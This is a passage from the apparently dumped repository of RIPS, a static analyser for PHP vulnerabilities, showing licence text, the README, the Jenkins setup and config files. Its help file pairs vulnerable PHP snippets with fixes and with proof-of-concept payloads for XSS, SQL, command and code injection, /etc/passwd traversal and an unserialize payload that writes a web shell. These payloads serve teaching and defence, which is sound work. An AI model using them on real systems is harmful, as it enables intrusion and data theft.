ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "# RIPS\nA static source code analyser for vulnerabilities in PHP scripts\n\n## Requirements\n* web server: Apache or Nginx recommended\n* PHP: latest version recommended\n* browser: Firefox recommended\n\n## Installation\n1. Download the latest release\n2. Extract the files to your local web server's document root\n3. Make sure your web server has file permissions\n4. Make sure your installation is protected from unauthorized access\n5. Open your browser at http://localhost/rips-xx/\n\n## Usage\nFollow the instructions on the main page.\n\n## Command Line Interface - CLI\n\n#### Usage\n\nSee original php-rips scan html form (index.php) for more options.\n\n```\n  php index.php [option=value]\n```\n\n| Options | Value |\n| --- | --- |\n| loc | target scan file/folder <path> |\n| subdir | recurse subdirs \\[0\\|1] |\n| ignore_warning | \\[0\\|1] |\n| vector | scan vectors \\[all\\|...] |\n| verbosity | log verbosity \\[0-9] |\n| treestyle | html output style \\[0\\|1] |\n| stylesheet | html output stylesheet \\[ayti\\|...] |\n\nExample: recursively scan ./code for all vuln. classes\n```\n  php index.php loc=./code subdirs=1 vector=all verbosity=2\n```\n\nNote: in cli-mode argv wil be parsed into `$_POST` therefore allowing you to set any POST variables.\n\n#### Jenkins-CI Integration Notes\n\n1. install the [html publisher plugin](https://wiki.jenkins-ci.org/display/JENKINS/HTML+Publisher+Plugin)\n2. configure (multiple) scm to clone both this repository and the source you want to scan to distinct folders\n3. add build step: execute shell\n\n\t```bash\n\t# config - remove this if you configure it via jenkins parameterized builds\n\tPATH_RIPS=rips-scanner\n\tPATH_REPORT=report\n\tFILE_REPORT=report.html\n\tPATH_TARGET=code\n\tRIPS_RECURSE_SUBDIR=1\n\tRIPS_VECTOR=all\n\tRIPS_VERBOSITY=2\n\t# copy dependencies\n\tmkdir -p report\n\tcp -r rips-scanner/css report\n\tcp -r rips-scanner/js report\n\t# run analysis\n\techo \"=========================================================\"\n\techo \"[**] running scan ... $PATH_TARGET\"\n\techo \"=========================================================\"\n\tphp $PATH_RIPS/index.php ignore_warning=1 loc=$PATH_TARGET subdirs=$RIPS_RECURSE_SUBDIR vector=$RIPS_VECTOR verbosity=$RIPS_VERBOSITY treestyle=1 stylesheet=ayti > $PATH_REPORT/$FILE_REPORT\n\techo \"=========================================================\"\n\techo \"[**] scan done ... check out $PATH_REPORT/$FILE_REPORT\"\n\techo \"=========================================================\"\n\t```\n\n4. add build step: execute python\n\n\t```python\n\timport os, sys\n\timport rips_stats as rips\n\tif __name__==\"__main__\":\n\t    report = os.path.join(os.environ.get(\"PATH_REPORT\",\"report\"),os.environ.get(\"FILE_REPORT\",\"report.html\"))\n\t    sys.exit(rips.main([report]))\n\t```\n\n5. add post-build step: publish html, select folder 'report' name 'vulnerability-report'. A new clickable action icon 'vulnerability-report' will appear that points at the archived scan result.\n\n## Development\nThe `community` branch of RIPS is forked from version 0.55 and is not officially supported by RIPS Technologies.\n\nA completely rebuilt solution is available from RIPS Technologies that overcomes fundamental limitations in the open source version and performs state-of-the-art security analysis.\n\n| Compared Feature | RIPS 0.5 | Next Generation |\n| --- | --- | --- |\n| Supported PHP Language | PHP 3-4, no OOP | all, PHP 3-7 |\n| Static Code Analysis | Only Token-based | Full |\n| Analysis Precision | Low | Very High |\n| PHP Version Specific Analysis | No | Yes |\n| Scales to Large Codesizes | No | Yes |\n| API / CLI Support | No | Yes |\n| Continuous Integration | No | Yes |\n| Compliance / Standards | No | Yes |\n| Store Analysis Results | No | Yes |\n| Export Analysis Results | No | Yes |\n| Issue Review System | No | Yes |\n| Realtime Results | No | Yes |\n| Vulnerability Trends | No | Yes |\n| Detects Latest Risks | No | Yes |\n| Detects Complex Vulnerabilities | Limited | Yes |\n| Supported Issue Types | 15 | >140 |\n| Speed | Fast | Fast |\n\nLearn more about the next generation of RIPS at https://www.ripstech.com/product/datasheets/.\n"
  },
  {
    "path": "config/general.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\tif (php_sapi_name() === 'cli')\n\t\tdefine(\"MODE_CLI\",1);\n\n\t#error_reporting(E_ALL);\n\terror_reporting(E_ERROR | E_PARSE);\n\t// various settings making flush() work correctly\n\tif(function_exists('apache_setenv'))\n\t\tapache_setenv('no-gzip', 1);\n\tif (!defined(\"MODE_CLI\"))\n\t    ini_set('zlib.output_compression', 0);\n\tini_set('zlib.output_compression', 0);\n\tini_set('implicit_flush', 0);\n\tini_set('output_buffering', 0);\n\n\tini_set('short_open_tag', 1);\t\t\t// who knows if I use them ;)\n\tini_set('auto_detect_line_endings', 1);\t// detect newlines in MAC files\n\tini_set(\"memory_limit\",\"1000M\");\t\t// set memory size to 1G\n\tset_time_limit(0);\t\t\t\t\t\t// 5 minutes\n\n\tif (extension_loaded('tokenizer') === false)\n\t{\n\t\techo 'Please enable the PHP tokenizer extension to run RIPS.';\n\t\texit;\n\t}\n\n\tdefine('VERSION', '0.55');\t\t\t\t// RIPS version to be displayed\n\tdefine('MAXTRACE', 30);\t\t\t\t\t// maximum of parameter traces per sensitive sink\n\tif (!defined(\"MODE_CLI\"))\n\t\tdefine('WARNFILES', 50);\t\t\t// warn user if amount of files to scan is higher than this value, also limits the graphs so they dont get too confusing and prevents browser hanging\n\telse\n\t\tdefine('WARNFILES', 500000);\t\t// only warn if more than 500k files\n\tdefine('BASEDIR', '');\t\t\t\t\t// default directory shown\n\tdefine('PHPDOC', 'http://php.net/');\t// PHP documentation link\n\tdefine('MAX_ARRAY_ELEMENTS', 50);\t\t// maximum array(1,2,3,4,...) elements to be indexed\n\tdefine('MAX_ARRAY_KEYS', 10);\t\t\t// maximum array key $array[1][2][3][4]..\n\tdefine('PRELOAD_SHOW_LINE', 500);\t\t// every X line a preloader information is added\n\n\tdefine('SCAN_REGISTER_GLOBALS', false);\t// EXPERIMENTAL: scan as if register_globals=on\n\n\t$FILETYPES = array(\t\t\t\t\t\t// filetypes to scan\n\t\t'.php',\n\t\t'.inc',\n\t\t'.phps',\n\t\t'.php4',\n\t\t'.php5',\n\t\t//'.html',\n\t\t//'.htm',\n\t\t//'.txt',\n\t\t'.phtml',\n\t\t'.tpl',\n\t\t'.cgi',\n\t\t'.test',\n\t\t'.module',\n\t\t'.plugin'\n\t);\n\n\t// available stylesheets (filename without .css ending)\n\t// more colors at http://wiki.macromates.com/Themes/UserSubmittedThemes\n\t$stylesheets = array(\n\t\t'print',\n\t\t'phps',\n\t\t'code-dark',\n\t\t'twilight',\n\t\t'espresso',\n\t\t'term',\n\t\t'barf',\n\t\t'notepad++',\n\t\t'ayti'\n\t);\n\n\t// track chosen stylesheet permanently\n\tif(isset($_POST['stylesheet']) && $_POST['stylesheet'] !== $_COOKIE['stylesheet'])\n\t\t$_COOKIE['stylesheet'] = $_POST['stylesheet'];\n\t$default_stylesheet = isset($_COOKIE['stylesheet']) ? $_COOKIE['stylesheet'] : 'ayti';\n\tsetcookie(\"stylesheet\", $default_stylesheet);\n\n\t$default_vector = 'all';\n"
  },
  {
    "path": "config/help.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\n$HELP_XSS = array(\n'description' => 'An attacker might execute arbitrary HTML/JavaScript Code in the clients browser context with this security vulnerability. User tainted data is embedded into the HTML output by the application and rendered by the users browser, thus allowing an attacker to embed and render malicious code. Preparing a malicious link will lead to an execution of this malicious code in another users browser context when clicking the link. This can lead to local website defacement, phishing or cookie stealing and session hijacking.',\n'link' => 'https://www.owasp.org/index.php/XSS',\n'code' => '<?php print(\"Hello \" . $_GET[\"name\"]); ?>',\n'poc' => '/index.php?name=<script>alert(1)</script>',\n'patchtext' => 'Encode all user tainted data with PHP buildin functions before embedding the data into the output. Make sure to set the parameter ENT_QUOTES to avoid an eventhandler injections to existing HTML attributes and specify the correct charset.',\n'patch' => '<?php print(\"Hello \" . htmlentities($_GET[\"name\"], ENT_QUOTES, \"utf-8\"); ?>'\n);\n\n$HELP_HTTP_HEADER = array(\n'description' => 'An attacker can inject arbitrary headers to the HTTP response header. This can be abused for a redirect when injecting a \"Location:\" header or help within a session fixation attack when the \"Set-Cookie:\" header is added. Additionally, the HTTP response can be overwritten and JavaScript can be injected leading to Cross-Site Scripting attacks. In PHP version below 4.4.2 or 5.1.2 the characters \\n\\r (LF CR) can be used for header line termination (cross-browser). In PHP below 5.4 the character \\r (CR) can still be used for header line termination (Chrome, IE).',\n'link' => 'https://www.owasp.org/index.php/HTTP_Response_Splitting',\n'code' => '<?php header(\"Location: \".$_GET[\"url\"]); ?>',\n'poc' => '/index.php?url=a%0a%0dContent-Type:%20text/html%0a%0d%0a%0d<script>alert(1)</script>',\n'patchtext' => 'Update PHP to prevent header injection or implement a whitelist.',\n'patch' => '<?php if(!in_array($_GET[\"url\"], $whitelist)) exit; ?>'\n);\n\n$HELP_SESSION_FIXATION = array(\n'description' => 'An attacker can force a user to use a specific session id. Once the user logs in, the attacker can use the previously fixated session id to access the account.',\n'link' => 'https://www.owasp.org/index.php/Session_fixation',\n'code' => '<?php setcookie(\"PHPSESSID\", $_GET[\"sessid\"]); ?>',\n'poc' => '/index.php?sessid=1f3870be274f6c49b3e31a0c6728957f',\n'patchtext' => 'Do not use a session token supplied by the user.',\n'patch' => 'No code.'\n);\n\n$HELP_CODE = array(\n'description' => 'An attacker might execute arbitrary PHP code with this vulnerability. User tainted data is embedded into a function that compiles PHP code on the run and executes it thus allowing an attacker to inject own PHP code that will be executed. This vulnerability can lead to full server compromise.',\n'link' => 'https://www.owasp.org/index.php/Code_Injection',\n'code' => '<?php eval(\"\\$color = \\'\" . $_GET[\"color\"] . \"\\';\"); ?>',\n'poc' => '/index.php?color=\\';phpinfo();//',\n'patchtext' => 'Build a whitelist for positive code with regular expressions (e.g. alphanumeric only) or arrays. Do not try to blacklist for evil PHP code.',\n'patch' => '<?php $colors = array(\"blue\", \"red\"); if(!in_array($_GET[\"color\"], $colors)) exit; ?>'\n);\n\n$HELP_REFLECTION = array(\n'description' => 'An attacker might execute arbitrary functions with this vulnerability. User tainted data is used as a function name. This can lead to unexpected behaviour of the application.',\n'link' => 'https://www.owasp.org/index.php/Reflection_injection',\n'code' => '<?php call_user_func($_GET[\"func\"]); ?>',\n'poc' => '/index.php?func=phpinfo',\n'patchtext' => 'Build a whitelist for allowed functions.',\n'patch' => '<?php $funcs = array(\"test1\", \"test2\"); if(!in_array($_GET[\"func\"], $funcs)) exit; ?>'\n);\n\n$HELP_FILE_INCLUDE = array(\n'description' => 'An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.',\n'link' => 'http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/',\n'code' => '<?php include(\"includes/\" . $_GET[\"file\"]); ?>',\n'poc' => '/index.php?file=../../../../../../../etc/passwd',\n'patchtext' => 'Build a whitelist for positive file names. Do not only limit the file name to specific paths or extensions.',\n'patch' => '<?php $files = array(\"index.php\", \"main.php\"); if(!in_array($_GET[\"file\"], $files)) exit; ?>'\n);\n\n$HELP_FILE_READ = array(\n'description' => 'An attacker might read local files with this vulnerability. User tainted data is used when creating the file name that will be opened and read, thus allowing an attacker to read source code and other arbitrary files on the webserver that might lead to new attack vectors. In example the attacker can detect new vulnerabilities in source code files or read user credentials.',\n'link' => '',\n'code' => '<?php echo file_get_contents(\"files/\" . $_GET[\"file\"]); ?>',\n'poc' => '/index.php?file=../../../../../../../etc/passwd',\n'patchtext' => 'Build a whitelist for positive file names. Do not only limit the file name to specific paths or extensions.',\n'patch' => '<?php $files = array(\"index.php\", \"main.php\"); if(!in_array($_GET[\"file\"], $files)) exit; ?>'\n);\n\n$HELP_FILE_AFFECT = array(\n'description' => 'An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability. User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file. An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.',\n'link' => '',\n'code' => '<?php $h = fopen($_GET[\"file\"], \"w\"); fwrite($h, $_GET[\"data\"]); ?>',\n'poc' => '/index.php?file=shell.php&data=<?php phpinfo();?>',\n'patchtext' => 'Build a whitelist for positive file names. Do not only limit the file name to specific paths or extensions. If you write into PHP files make sure an attacker can not write own PHP code. Use a whitelist with arrays or regular expressions (e.g. alphanumeric only).',\n'patch' => '<?php $files = array(\"index.php\", \"main.php\"); if(!in_array($_GET[\"file\"], $files)) exit; ?>'\n);\n\n$HELP_EXEC = array(\n'description' => 'An attacker might execute arbitrary system commands with this vulnerability. User tainted data is used when creating the command that will be executed on the underlying operating system. This vulnerability can lead to full server compromise.',\n'link' => '',\n'code' => '<?php exec(\"./crypto -mode \" . $_GET[\"mode\"]); ?>',\n'poc' => '/index.php?mode=1;sleep 10;',\n'patchtext' => 'Limit the code to a very strict character subset or build a whitelist of allowed commands. Do not try to filter for evil commands. Try to avoid the usage of system command executing functions if possible.',\n'patch' => '<?php $modes = array(\"r\", \"w\", \"a\"); if(!in_array($_GET[\"mode\"], $modes)) exit; ?>'\n);\n\n$HELP_DATABASE = array(\n'description' => 'An attacker might execute arbitrary SQL commands on the database server with this vulnerability. User tainted data is used when creating the database query that will be executed on the database management system (DBMS). An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system depending on the query, DBMS and configuration.',\n'link' => 'https://www.owasp.org/index.php/SQL_Injection',\n'code' => '<?php mysql_query(\"SELECT * FROM users WHERE id = \" . $_GET[\"id\"]); ?>',\n'poc' => '/index.php?id=1 OR 1=1-- -',\n'patchtext' => 'Always embed expected strings into quotes and escape the string with a PHP buildin function before embedding it to the query. Always embed expected integers without quotes and typecast the data to integer before embedding it to the query. Escaping data but embedding it without quotes is not safe.',\n'patch' => '<?php mysql_query(\"SELECT * FROM users WHERE id = \" . (int)$_GET[\"id\"]); '.\"\\n\".' mysql_query(\"SELECT * FROM users WHERE name = \\'\" . mysql_real_escape_string($_GET[\"name\"]) . \"\\'\"); ?>'\n);\n\n$HELP_XPATH = array(\n'description' => 'An attacker might execute arbitrary XPath expressions with this vulnerability. User tainted data is used when creating the XPath expression that will be executed on a XML resource. An attacker can inject own XPath syntax to read arbitrary XML entries.',\n'link' => 'http://packetstormsecurity.org/files/view/33380/Blind_XPath_Injection_20040518.pdf',\n'code' => '<?php $ctx->xpath_eval(\"//user[name/text()=\\'\" . $_GET[\"name\"] . \"\\']/account/text()\"); ?>',\n'poc' => '/index.php?name=\\' or \\'\\'=\\'',\n'patchtext' => 'Always embed expected strings into quotes and escape the string with a PHP buildin function before embedding it to the expression. Always embed expected integers without quotes and typecast the data to integer before embedding it to the expression. Escaping data but embedding it without quotes is not safe.',\n'patch' => '<?php $ctx->xpath_eval(\"//user[name/text()=\\'\" . addslashes($_GET[\"name\"]) . \"\\']/account/text()\"); ?>'\n);\n\n$HELP_LDAP = array(\n'description' => 'An attacker might execute arbitrary LDAP expressions with this vulnerability. User tainted data is used when creating a LDAP filter that will be executed on a LDAP server. An attacker can inject own LDAP syntax to read arbitrary LDAP entries.',\n'link' => 'http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf',\n'code' => '<?php ldap_search($ds, $dn, \"(&(sn=person)(person=\".$_GET[\"person\"].\"))\"); ?>',\n'poc' => '/index.php?person=*',\n'patchtext' => 'Expected strings are not embedded into quotes in LDAP. Limit the input character set to alphanumeric (if possible) to prevent an injection of filter syntax.',\n'patch' => '<?php if(!preg_match(\\'/^[a-z0-9]+$/\\', $_GET[\"person\"])) exit; ?>'\n);\n\n$HELP_CONNECT = array(\n'description' => 'An attacker might change connection handling parameters or data that is being transfered with this vulnerability. User tainted data is used when selecting parameters or creating data that will be transfered thus allowing an attacker to change them. Depending on the type of connection this might lead to further attacks.',\n'link' => '',\n'code' => 'Can not be generalized.',\n'poc' => 'Can not be generalized.',\n'patchtext' => 'Can not be generalized.',\n'patch' => 'Can not be generalized.'\n);\n\n$HELP_POP = array(\n'description' => 'When userinput is parsed by the unserialize() function an attacker may abuse this by supplying serialized objects that will be used in the current application scope. These objects can only be instances of classes of this application. Several gadgets such as __wakeup() or __destruct() functions of those classes will be automatically called when the object is resurrected during the unserialization and object variables specified by the attacker may lead to vulnerabilities in those gadgets.',\n'link' => 'https://media.blackhat.com/bh-us-10/presentations/Esser/BlackHat-USA-2010-Esser-Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits-slides.pdf',\n'code' => '<?php\nclass foo {\n\tpublic $file = \"test.txt\";\n\tpublic $data = \"text\";\n\tfunction __destruct()\n\t{\n\t\tfile_put_contents($this->file, $this->data);\n\t}\n}\n$a = unserialize($_GET[\"s\"]);\n?>',\n'poc' => '/index.php?s=O:3:\"foo\":2:{s:4:\"file\";s:9:\"shell.php\";s:4:\"data\";s:29:\"<?php passthru($_GET[\"c\"]);?>\";}',\n'patchtext' => 'Prevent using unserialize because it contains much more flaws.',\n'patch' => 'No code.'\n);\n"
  },
  {
    "path": "config/info.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\nfinal class Info\n{\n\t// interesting functions, output and comment them if seen\n\tpublic static $F_INTEREST = array(\n\t\t'phpinfo'\t\t\t\t\t\t=> 'phpinfo() detected',\n\t\t'registerPHPFunctions'\t\t\t=> 'registerPHPFunctions() allows code exec in XML',\n\t\t'session_start'\t\t\t\t\t=> 'uses sessions',\n\t\t#'session_destroy'\t\t\t\t=> 'session_destroy(), delete arbitrary file in PHP 5.1.2',\n\t\t'dbase_open' \t\t\t\t\t=> 'using DBMS dBase',\n\t\t'dbplus_open' \t\t\t\t\t=> 'using DBMS DB++',\n\t\t'dbplus_ropen' \t\t\t\t\t=> 'using DBMS DB++',\n\t\t'fbsql_connect' \t\t\t\t=> 'using DBMS FrontBase' ,\n\t\t'ifx_connect'\t\t\t\t\t=> 'using DBMS Informix',\n\t\t'db2_connect'\t\t\t\t\t=> 'using DBMS IBM DB2',\n\t\t'db2_pconnect'\t\t\t\t\t=> 'using DBMS IBM DB2',\n\t\t'ftp_connect'\t\t\t\t\t=> 'using FTP server',\n\t\t'ftp_ssl_connect' \t\t\t\t=> 'using FTP server',\n\t\t'ingres_connect'\t\t\t\t=> 'using DBMS Ingres',\n\t\t'ingres_pconnect'\t\t\t\t=> 'using DBMS Ingres',\n\t\t'ldap_connect'\t\t\t\t\t=> 'using LDAP server',\n\t\t'msession_connect'\t \t\t\t=> 'using msession server',\n\t\t'msql_connect'\t\t\t\t\t=> 'using DBMS mSQL',\n\t\t'msql_pconnect'\t\t\t\t\t=> 'using DBMS mSQL',\n\t\t'mssql_connect'\t\t\t\t\t=> 'using DBMS MS SQL',\n\t\t'mssql_pconnect'\t\t\t\t=> 'using DBMS MS SQL',\n\t\t'mysql_connect'\t\t\t\t\t=> 'using DBMS MySQL',\n\t\t#'mysql_escape_string'\t\t\t=> 'insecure mysql_escape_string',\n\t\t'mysql_pconnect'\t\t\t\t=> 'using DBMS MySQL',\n\t\t'mysqli'\t\t\t\t\t\t=> 'using DBMS MySQL, MySQLi Extension',\n\t\t'mysqli_connect'\t\t\t\t=> 'using DBMS MySQL, MySQLi Extension',\n\t\t'mysqli_real_connect'\t\t\t=> 'using DBMS MySQL, MySQLi Extension',\n\t\t'oci_connect'\t\t\t\t\t=> 'using DBMS Oracle OCI8',\n\t\t'oci_new_connect'\t\t\t\t=> 'using DBMS Oracle OCI8',\n\t\t'oci_pconnect'\t\t\t\t\t=> 'using DBMS Oracle OCI8',\n\t\t'ocilogon'\t\t\t\t\t\t=> 'using DBMS Oracle OCI8',\n\t\t'ocinlogon'\t\t\t\t\t\t=> 'using DBMS Oracle OCI8',\n\t\t'ociplogon'\t\t\t\t\t\t=> 'using DBMS Oracle OCI8',\n\t\t'ora_connect'\t\t\t\t\t=> 'using DBMS Oracle',\n\t\t'ora_pconnect'\t\t\t\t\t=> 'using DBMS Oracle',\n\t\t'ovrimos_connect'\t\t\t\t=> 'using DBMS Ovrimos SQL',\n\t\t'pg_connect'\t\t\t\t\t=> 'using DBMS PostgreSQL',\n\t\t'pg_pconnect'\t\t\t\t\t=> 'using DBMS PostgreSQL',\n\t\t'sqlite_open'\t\t\t\t\t=> 'using DBMS SQLite',\n\t\t'sqlite_popen'\t\t\t\t\t=> 'using DBMS SQLite',\n\t\t'SQLite3'\t\t\t\t\t\t=> 'using DBMS SQLite3',\n\t\t'sybase_connect'\t\t\t\t=> 'using DBMS Sybase',\n\t\t'sybase_pconnect'\t\t\t\t=> 'using DBMS Sybase',\n\t\t'TokyoTyrant'\t\t\t\t\t=> 'using DBMS TokyoTyrant',\n\t\t'xptr_new_context'\t\t\t\t=> 'using XML document',\n\t\t'xpath_new_context'\t\t\t\t=> 'using XML document'\n\t);\n\n\t// interesting functions for POP/Unserialze\n\tpublic static $F_INTEREST_POP = array(\n\t\t'__autoload'\t\t\t\t\t=> 'function __autoload',\n\t\t'__destruct'\t\t\t\t\t=> 'POP gagdet __destruct',\n\t\t'__wakeup'\t\t\t\t\t\t=> 'POP gagdet __wakeup',\n\t\t'__toString'\t\t\t\t\t=> 'POP gagdet __toString',\n\t\t'__call'\t\t\t\t\t\t=> 'POP gagdet __call',\n\t\t'__callStatic'\t\t\t\t\t=> 'POP gagdet __callStatic',\n\t\t'__get'\t\t\t\t\t\t\t=> 'POP gagdet __get',\n\t\t'__set'\t\t\t\t\t\t\t=> 'POP gagdet __set',\n\t\t'__isset'\t\t\t\t\t\t=> 'POP gagdet __isset',\n\t\t'__unset'\t\t\t\t\t\t=> 'POP gagdet __unset'\n\t);\n\n}\n"
  },
  {
    "path": "config/securing.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\n\t// securing functions in if-clause\n\t// list not used, all if clause dependencies detected anyway\n\t$F_SECURING_BOOL = array(\n\t\t'is_bool',\n\t\t'is_double',\n\t\t'is_float',\n\t\t'is_real',\n\t\t'is_long',\n\t\t'is_int',\n\t\t'is_integer',\n\t\t'is_null',\n\t\t'is_numeric',\n\t\t'is_finite',\n\t\t'is_infinite',\n\t\t'ctype_alnum',\n\t\t'ctype_alpha',\n\t\t'ctype_cntrl',\n\t\t'ctype_digit',\n\t\t'ctype_xdigit',\n\t\t'ctype_upper',\n\t\t'ctype_lower',\n\t\t'ctype_space',\n\t\t'in_array',\n\t\t'preg_match',\n\t\t'preg_match_all',\n\t\t'fnmatch',\n\t\t'ereg',\n\t\t'eregi'\n\t);\n\n\t// securing functions for every vulnerability\n\t$F_SECURING_STRING = array(\n\t\t'intval',\n\t\t'floatval',\n\t\t'doubleval',\n\t\t'filter_input',\n\t\t'urlencode',\n\t\t'rawurlencode',\n\t\t'round',\n\t\t'floor',\n\t\t'strlen',\n\t\t'strrpos',\n\t\t'strpos',\n\t\t'strftime',\n\t\t'strtotime',\n\t\t'md5',\n\t\t'md5_file',\n\t\t'sha1',\n\t\t'sha1_file',\n\t\t'crypt',\n\t\t'crc32',\n\t\t'hash',\n\t\t'mhash',\n\t\t'hash_hmac',\n\t\t'password_hash',\n\t\t'mcrypt_encrypt',\n\t\t'mcrypt_generic',\n\t\t'base64_encode',\n\t\t'ord',\n\t\t'sizeof',\n\t\t'count',\n\t\t'bin2hex',\n\t\t'levenshtein',\n\t\t'abs',\n\t\t'bindec',\n\t\t'decbin',\n\t\t'dechex',\n\t\t'decoct',\n\t\t'hexdec',\n\t\t'rand',\n\t\t'max',\n\t\t'min',\n\t\t'metaphone',\n\t\t'tempnam',\n\t\t'soundex',\n\t\t'money_format',\n\t\t'number_format',\n\t\t'date_format',\n\t\t'filetype',\n\t\t'nl_langinfo',\n\t\t'bzcompress',\n\t\t'convert_uuencode',\n\t\t'gzdeflate',\n\t\t'gzencode',\n\t\t'gzcompress',\n\t\t'http_build_query',\n\t\t'lzf_compress',\n\t\t'zlib_encode',\n\t\t'imap_binary',\n\t\t'iconv_mime_encode',\n\t\t'bson_encode',\n\t\t'sqlite_udf_encode_binary',\n\t\t'session_name',\n\t\t'readlink',\n\t\t'getservbyport',\n\t\t'getprotobynumber',\n\t\t'gethostname',\n\t\t'gethostbynamel',\n\t\t'gethostbyname',\n\t);\n\n\t// functions that insecures the string again\n\t$F_INSECURING_STRING = 